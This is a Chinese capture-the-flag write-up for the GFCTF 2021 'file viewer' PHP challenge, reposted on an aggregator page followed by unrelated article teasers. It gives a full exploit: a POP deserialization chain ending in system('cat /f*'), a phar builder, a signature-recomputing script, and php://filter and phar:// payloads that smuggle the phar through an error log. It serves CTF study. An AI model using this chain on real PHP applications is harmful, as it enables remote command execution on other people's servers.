[GFCTF 2021]文件查看器

文章目录

    • 前置知识
      • 可调用对象数组对方法的调用
      • GC回收机制
      • phar修改签名
    • 解题步骤


前置知识

可调用对象数组对方法的调用

我们先来看下面源码

<?php
	error_reporting(0);
    class User{
        public $username;
        public $password;

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            ($this->password)();
        }
    }

链子很简单,就是__destruct() -> check()
但是关键点在于给password变量赋值check后并不能调用类中的check(),因为

check() != this->check()

解决办法就是利用PHP7引入的一个新特性 Uniform Variable Syntax,它扩展了可调用数组的功能,增加了其在变量上调用函数的能力,使得可以在一个变量(或表达式)后面加上括号直接调用函数。
可调用数组的构造我们简单测试下

<?php
highlight_file(__FILE__);
class A{
    public function check(){
        echo "<br>check!!!";
    }
}

$a=[new A(),"check"];
$a();

发现成功调用
在这里插入图片描述

GC回收机制

简单给个示例

<?php
class Start{
    public $errMsg;
}

class Crypto{
    public $obj;
}

$a=new Start();
$b=new Crypto();
$a->errMsg=$b;
$A=array($a,NULL);
echo serialize($A);

利用数组对象占用指针(改数字)实现提前触发__destruct()方法绕过黑名单检测

//修改前payload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";N;}}i:1;N;}
//修改后payload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";N;}}i:0;N;}

phar修改签名

用010创建十六进制文件,然后将phar内容复制进去,手动修改内容后需要重新计算签名
不同签名格式对应不同的字节数,本题是sha256
在这里插入图片描述

脚本如下

from hashlib import sha256
with open("hacker1.phar",'rb') as f:
   text=f.read()
   main=text[:-40]        #正文部分(除去最后40字节)
   end=text[-8:]		  #最后八位也是不变的	
   new_sign=sha256(main).digest()
   new_phar=main+new_sign+end
   open("hacker1.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

解题步骤

dirsearch扫出来有源码泄露
在这里插入图片描述
Files.class.php

<?php
	error_reporting(0);
    class User{
        public $username;
        public $password;

        public function login(){
            include("view/login.html");
            if(isset($_POST['username'])&&isset($_POST['password'])){
                $this->username=$_POST['username'];
                $this->password=$_POST['password'];
                if($this->check()){
                    header("location:./?c=Files&m=read");
                }
            }
        }

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }

        public function __call($name,$arg){ 
            ($name)();
        }
    }

可以得到用户和密码为admin,admin

Myerror.class.php

<?php
    class Myerror{
        public $message;

        public function __construct(){
            ini_set('error_log','/var/www/html/log/error.txt');
            ini_set('log_errors',1);
        }

        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

会发现题目会将报错信息写到/log/error.txt

Files.class.php

<?php
    class Files{
        public $filename;

        public function __construct(){
            $this->log();
        }
        
        public function read(){
            include("view/file.html");
            if(isset($_POST['file'])){
                $this->filename=$_POST['file'];
            }else{
                die("请输入文件名");
            }
            $contents=$this->getFile();
            echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
        }
        
        public function filter(){
            if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
	echo "这合理吗";
                throw new Error("这不合理");
            }
        }

        public function getFile(){
            $contents=file_get_contents($this->filename);
            $this->filter();
            if(isset($_POST['write'])){
                file_put_contents($this->filename,$contents);
            }
            if(!empty($contents)){
                return $contents;
            }else{
                die("该文件不存在或者内容为空");
            } 
        }

         public function log(){
            $log=new Myerror();
        }

        public function __get($key){
            ($key)($this->arg);
        }
    }

read()方法可以查看文件然后调用getFile()方法,先是读取文件,然后黑名单检测其中包括phar伪协议,然后写入文件

思路很简单,就是phar伪协议读取文件,首要解决的就是如何上传phar文件,这里我们可以利用报错日志error.txt,phar内容当成文件名传入,那么error.txt就会出现我们传的内容,如果我们再利用伪协议和特殊的过滤器去读取error.txt,即可实现得到序列化的字符串;第二个解决的问题就是如何绕过黑名单,直接GC回收机制绕过即可
在这里插入图片描述

class文件整理如下

<?php
    class User{
        public $username;
        public $password;
        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }
    }
    class Files{
        public $filename;
        public function __get($key){
            ($key)($this->arg);
        }
    }

    class Myerror{
        public $message;
        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

分析一下

  1. 链子出口是Files.__get()存在命令执行,往前推到Myerror.__tostring()调用不存在属性
  2. 再往前推到User.check(),而这里的调用就要用到前置知识的可调用对象数组

pop链

User类利用可调用对象数组 -> User.check() -> Myerror.__tostring() -> Files.__get()

exp如下

<?php
class User{
    public $username;
    public $password;
}
class Files{
    public $filename;
}

class Myerror{
    public $message;
}

$a1=new User();
$a2=new User();
$b=new Myerror();
$c=new Files();
$a1->password=[$a2,"check"];
$a2->username=$b;
$b->message=$c;
$b->test='system';
$c->arg='cat /f*';
$A=array($a1,null);

$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($A);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后生成phar文件,010打开手动修改为0
在这里插入图片描述
重新计算签名得到利用的phar文件

然后就是如何利用伪协议和过滤器读取
如果只是简单的base64编码,会出现报错,因为读取的是整个error.txt文件(还包括其他非编码的字符),构造过程如下

utf-16le

当utf-8转换为utf-16le时,每一位字符后面都会加上一个\0,这个\0是不可见的,当将utf-16le转换为utf-8的时候,只有后面有\0的才会被正常转换,否则变为乱码

那么我们是否可以利用utf-16le来标记我们的payload,然后解码只对我们payload解码(其他变成乱码),然后再base64解码。不过这个被过滤了,我们可以用UCS-2编码(区别在于\0在前面)
UCS-2编码

UCS-2 编码使用固定2个字节,所以在ASCII字符中,在每个字符前面会填充一个 00字节(大端序)

lanb0
=>
\x00l\x00a\x00n\x00b\x000

那么下一步就是如何构造\0,因为是不可见字符,所以引入Quoted-Printable编码
Quoted-Printable编码

“Quoted-Printable"编码的基本原则是:安全的ASCII字符(如字母、数字、标点符号等)保持不变,空格也保持不变(但行尾的空格必须编码),其他所有字符(如非ASCII字符或控制字符)则以”="后跟两个十六进制数字的形式编码

lanb0\n
=>
lanb0=0A

整个流程如下

测试数据:test
base64编码:dGVzdA==
加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D

上传后:
垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据
解码:
垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据
UCS-2转UTF-8:乱码dGVzdA==乱码
base64解码:test

加密脚本

<?php
$a=file_get_contents('hacker1.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('hacker.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('hacker.txt',preg_replace('/=\r\n/','',file_get_contents('hacker.txt')).'=00=3D');//解决软换行导致的编码结构破坏

注:在 Quoted-Printable 编码中,为了防止编码后的字符串过长,通常会在每76个字符后插入一个软换行,也就是 = 符号加上一个换行符。

将得到的加密字符串输入,然后访问/log/error.txt
在这里插入图片描述
接下来就要用到伪协议和过滤器(后面步骤要点击重写文件)
解码quoted-printable

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

在这里插入图片描述
解码UCS-2

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

在这里插入图片描述
解码base64

php://filter/read=convert.base64-decode/resource=log/error.txt

在这里插入图片描述
可以看到我们序列化的结果,最后用phar伪协议读取即可

phar://log/error.txt

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/239442.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用perl查找文件夹中的所有文件和目录

查找文件夹中的文件和目录是一个很常见的操作&#xff0c;使用perl的File::Find模块可以很方便的实现。首先使用perldoc File::Find 查看一下文档: 这个核心的就是文档中描述的回调函数。我们举一个实际的例子&#xff0c;一个空的git仓库为例&#xff0c;下面的脚本用于查找…

Aduino实现音频频谱效果

看到这样一个效果,于是想用arduino实现类似效果。需要的组件如下 1 arduino开发板 2 音频传感器 3 灯带 接线图如图 代码如下 #include <EEPROM.h>#include <Adafruit_NeoPixel.h>#define PIN 2 // input pin Neopixel is attached to#define NUMPIXELS …

流程控制之条件判断

流程控制之条件判断 2.1.if语句语法 2.1.1单分支结构 # 语法1: if <条件表达式> then 指令 fi #语法2: if <条件表达式>;then 指令 fi # if&#xff0c;if 标志循环起始终止…

现代雷达车载应用——第2章 汽车雷达系统原理 2.2节

经典著作&#xff0c;值得一读&#xff0c;英文原版下载链接【免费】ModernRadarforAutomotiveApplications资源-CSDN文库。 2.2 汽车雷达架构 从顶层来看&#xff0c;基本的汽车雷达由发射器&#xff0c;接收器和天线组成。图2.2给出了一种简化的单通道连续波雷达结构[2]。这…

【Docker】vxlan的原理与实验

VXLAN&#xff08;Virtual eXtensible Local Area Network&#xff0c;虚拟可扩展局域网&#xff09;&#xff0c;是一种虚拟化隧道通信技术。它是一种Overlay&#xff08;覆盖网络&#xff09;技术&#xff0c;通过三层的网络来搭建虚拟的二层网络。 VXLAN介绍 VXLAN是在底层…

常用的测试用例大全

登录、添加、删除、查询模块是我们经常遇到的&#xff0c;这些模块的测试点该如何考虑 1)登录 ① 用户名和密码都符合要求(格式上的要求) ② 用户名和密码都不符合要求(格式上的要求) ③ 用户名符合要求&#xff0c;密码不符合要求(格式上的要求) ④ 密码符合要求&#xf…

使用Java将图片添加到Excel的几种方式

1、超链接 使用POI&#xff0c;依赖如下 <dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>4.1.2</version></dependency>Java代码如下,运行该程序它会在桌面创建ImageLinks.xlsx文件。 …

【从零开始学习JVM | 第六篇】快速了解 直接内存

前言&#xff1a; 当谈及Java虚拟机&#xff08;JVM&#xff09;的内存管理时&#xff0c;我们通常会想到堆内存和栈内存。然而&#xff0c;还有一种被称为"直接内存"的特殊内存区域&#xff0c;它在Java应用程序中起着重要的作用。直接内存提供了一种与Java堆内存和…

十几个软件测试实战项目【外卖/医药/银行/电商/金融】

项目一&#xff1a;ShopNC商城 项目概况&#xff1a; ShopNC商城是一个电子商务B2C电商平台系统&#xff0c;功能强大&#xff0c;安全便捷。适合企业及个人快速构建个性化网上商城。 包含PCIOS客户端Adroid客户端微商城&#xff0c;系统PC后台是基于ThinkPHP MVC构架开发的跨…

windows如何解决端口冲突(实用篇)

在项目设计中&#xff0c;环境配置成功点击运行瞬间&#xff0c;一大堆红爆出&#xff0c;8080端口占用&#xff0c;这个是很烦人的。。。 解决方式&#xff1a; 笨方法&#xff1a;一、查看所有端口实用情况&#xff08;挨个扫&#xff09; 按住【WINR】快捷键打开运行输入…

Android View闪烁动画AlphaAnimation,Kotlin

Android View闪烁动画AlphaAnimation&#xff0c;Kotlin private fun flickerAnimation(view: View?) {val animation: Animation AlphaAnimation(1f, 0f) //不透明到透明。animation.duration 500 // 1次过程时长。animation.interpolator LinearInterpolator() // 线性速…

赴美上市传闻再起,SHEIN走到十字路口

作者 | 辰纹 来源 | 洞见新研社 裹挟着“黑五”大胜的余波&#xff0c;跨境电商巨头SHEIN&#xff08;希音&#xff09;将赴美IPO的传闻又在行业中散播开来。 金融投资报称SHEIN此次IPO的估值或达900亿美元&#xff1b;上海证券报表示&#xff0c;SHEIN已对投资人发出了路演…

10天玩转Python第3天:python循环语句和字符串、列表全面详解与代码示例

目录 1 循环1.1 for 循环1.2 break 和 continue 2 容器3 字符串3.1 定义3.2 下标3.3 切片3.4 字符串的查找方法 find3.5 字符串的替换方法 replace3.6 字符串的拆分 split3.7 字符串的链接 join 4 列表4.1 定义4.1 列表支持下标和切片, 长度4.3 查找 - 查找列表中数据下标的方法…

centos7x 安装支持gpu驱动的docker

1、卸载以前版本的驱动 sudo /usr/bin/nvidia-uninstall2、先安装基础项 yum install kernel kernel-devel gcc make -yyum install kernel kernel-devel gcc gcc-c make -y 3、禁用驱动源 nouveau echo "blacklist nouveau " >>/etc/modp…

12.12_黑马数据结构与算法笔记Java

目录 079 优先级队列 无序数组实现 080 优先级队列 有序数组实现 081 优先级队列 堆实现 1 082 优先级队列 堆实现 2 083 优先级队列 堆实现 3 084 优先级队列 e01 合并多个有序链表1 084 优先级队列 e01 合并多个有序链表2 085 阻塞队列 问题提出 086 阻塞队列 单锁实…

Linux:gdb的简单使用

个人主页 &#xff1a; 个人主页 个人专栏 &#xff1a; 《数据结构》 《C语言》《C》《Linux》 文章目录 前言一、前置理解二、使用总结 前言 gdb是Linux中的调试代码的工具 一、前置理解 我们都知道要调试一份代码&#xff0c;这份代码的发布模式必须是debug。那你知道在li…

【代码随想录】刷题笔记Day34

前言 考过概率论&#xff0c;发过一场烧&#xff0c;兜兜转转又一月&#xff0c;轻舟已撞万重山&#xff0c;赶紧刷题 贪心算法理论基础 贪心的本质&#xff1a;局部最优→全局最优无套路&#xff0c;常识性推导 举反例 455. 分发饼干 - 力扣&#xff08;LeetCode&#xf…

FastAPI之响应模型

前言 响应模型我认为最主要的作用就是在自动化文档的显示时&#xff0c;可以直接给查看文档的小伙伴显示返回的数据格式。对于后端开发的伙伴来说&#xff0c;其编码的实际意义不大&#xff0c;但是为了可以不用再额外的提供文档&#xff0c;我们只需要添加一个 response_mod…

慢SQL诊断

最近经常遇到技术开发跑来问我慢SQL优化相关工作&#xff0c;所以干脆出几篇SQL相关优化技术月报&#xff0c;我这里就以公司mysql一致的5.7版本来说明下。 在企业中慢SQL问题进场会遇到&#xff0c;尤其像我们这种ERP行业。 成熟的公司企业都会有晚上的慢SQL监控和预警机制。…

784. 字母大小写全排列

字母大小写全排列 描述 : 给定一个字符串 s &#xff0c;通过将字符串 s 中的每个字母转变大小写&#xff0c;我们可以获得一个新的字符串。 返回 所有可能得到的字符串集合 。以 任意顺序 返回输出。 回文串 是正着读和反着读都一样的字符串。 题目 : LeetCode 784. 字母…
最新文章